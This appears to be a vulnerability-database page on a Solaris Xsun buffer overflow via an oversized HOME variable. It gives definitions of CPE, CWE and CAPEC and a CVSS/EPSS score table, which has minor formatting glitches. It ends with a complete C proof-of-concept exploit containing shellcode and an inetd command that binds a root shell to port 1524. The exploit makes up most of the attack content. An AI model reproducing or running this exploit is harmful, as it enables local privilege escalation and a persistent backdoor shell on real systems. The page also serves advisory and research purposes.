CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Buffer overflow in Xsun in Solaris 8 and earlier allows local users to execute arbitrary commands via a long HOME environmental variable.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.92%
–
–
2022-02-13
–
–
1.92%
–
–
2022-04-03
–
–
1.92%
–
–
2022-06-26
–
–
1.92%
–
–
2022-11-13
–
–
1.92%
–
–
2022-11-20
–
–
1.92%
–
–
2022-12-11
–
–
1.92%
–
–
2022-12-18
–
–
1.92%
–
–
2022-12-25
–
–
1.92%
–
–
2023-01-01
–
–
1.92%
–
–
2023-02-12
–
–
1.92%
–
–
2023-03-12
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2024-12-22
–
–
–
0.05%
–
2025-03-02
–
–
–
0.05%
–
2025-01-19
–
–
–
0.05%
–
2025-03-09
–
–
–
0.05%
–
2025-03-18
–
–
–
–
0.24%
2025-03-30
–
–
–
–
0.26%
2025-04-15
–
–
–
–
0.26%
2025-04-16
–
–
–
–
0.26%
2025-04-16
–
–
–
–
0.26,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
// source: https://www.securityfocus.com/bid/2561/info
The X11 server that ships with Sun Microsystems' Solaris, Xsun, contains a locally exploitable buffer overflow vulnerability.
The condition is present when the value of the HOME environment variable is of excessive length (more than 1050 bytes long).
An attacker may exploit this vulnerability to execute arbitrary code with effective group 'root' privileges.
/***********************************/
Solaris 7 (x86) /usr/openwin/bin/Xsun
HOME environment overflow
Proof of Concept Exploitation
riley@eeye.com
Puts a Root shell on local port 1524
/***********************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BUFLEN 1041
/* seteuid/setuid/inetd shell */
char eyecode[] =
"\xeb\x51\x9a\x65\x65\x79\x65\x07\x90\xc3\x5e"
"\x29\xc0\x89\x46\xab\x88\x46\xb0\x89\x46\x0c"
"\x50\xb0\x8d\xe8\xe4\xff\xff\xff\x29\xc0\x50"
"\xb0\x17\xe8\xda\xff\xff\xff\x29\xc0\x88\x46"
"\x17\x88\x46\x1a\x88\x46\x78\x29\xc0\x50\x56"
"\x8d\x5e\x10\x89\x1e\x53\x8d\x5e\x18\x89\x5e"
"\x04\x8d\x5e\x1b\x89\x5e\x08\xb0\x3b\xe8\xb2"
"\xff\xff\xff\x90\x90\xc3\xe8\xb2\xff\xff\xff"
"\x90\x6b\x61\x6d\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x2f\x62\x69\x6e\x2f\x73"
"\x68\x20\x2d\x63\x20"
"echo \"ingreslock stream tcp nowait root /bin/sh sh -i\">/tmp/eeye;"
"/usr/sbin/inetd -s /tmp/eeye2001";
char buf[BUFLEN];
unsigned long int nop, esp;
long int offset = 0;
unsigned long int get_esp()
{__asm__("movl %esp,%eax");}
int main (int argc, char *argv[])
{
int i;
if (argc > 1)
offset = strtol(argv[1], NULL, 0);
else
offset = -200;
esp = get_esp();
memset(buf, 0x90, BUFLEN);
memcpy(buf+800, eyecode, strlen(eyecode));
*((int *) &buf[1037]) = esp+offset;
strncpy(&buf[0],"HOME=",5);
putenv(buf);
execl("/usr/openwin/bin/Xsun", "eEye", ":1",NULL);
return;
}